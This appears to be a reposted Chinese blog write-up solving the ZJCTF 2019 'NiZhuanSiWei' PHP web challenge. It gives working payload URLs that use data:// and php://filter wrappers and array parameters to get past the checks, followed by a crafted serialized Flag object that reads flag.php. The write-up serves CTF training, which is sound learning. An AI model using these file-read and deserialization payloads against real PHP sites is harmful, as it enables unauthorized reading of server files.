zoukankan      html  css  js  c++  java
  • [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

     简介

     原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/

     考察知识点:反序列化、PHP伪协议、数组绕过

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     过程

    打开页面看到源码先审计

    大致分析flag在flag.php里面 先想办法绕过这些限制到达 文件包含那一块

    绕过file_get_contents()  

    将welcome to the zjctf base64编码 使用PHP伪协议data读取数据流 可以成功绕过file_get_contents

    http://e188408b-f98c-4a28-bd9d-537acd229427.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

     绕过正则表达式 

    使用数组即可成功绕过(一开始我的想法是直接包含flag.php 然后通过echo输出$flag这个变量 这个想法不对)

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file[]=flag.php

    读取useless.php文件

    看到注释有个//uselees.php  最后看WP读取的 (我服了自己了 明明可以通过PHP伪协议来读取源码的)  但是数组绕过正则经过测试 伪协议不行所以flag.php无法读取  

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    构造序列化获取flag.php文件

    <?php  
    class Flag{  //flag.php  
        public $file='flag.php'; //注意这里 我们这里赋值了flag.php文件  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    print_r(serialize(new Flag()));
    //得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    最终payload:

    http://febc72fc-9ce7-4ab1-8887-8864639921a3.node3.buuoj.cn/?text=data://text/plain;base64,
    d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    参考学习:https://www.cnblogs.com/gaonuoqi/p/12255777.html

  • 相关阅读:
    N层电梯只停一层情况下,求所有人爬楼层数最少
    小组开发用户调研
    《哈利波特》买书最优惠算法
    团队开发——极速蜗牛
    林锐——软件工程思想后两章阅读笔记
    课堂练习之检测水军
    团队开发项目-----来用------典型用户与用户场景分析
    体验结对开发的乐趣(6)--(电梯调度问题)
    团队开发项目-----来用------用户需求调研报告
    课堂练习之最高折扣,最低优惠规划
  • 原文地址:https://www.cnblogs.com/xhds/p/12400108.html
Copyright © 2011-2022 走看看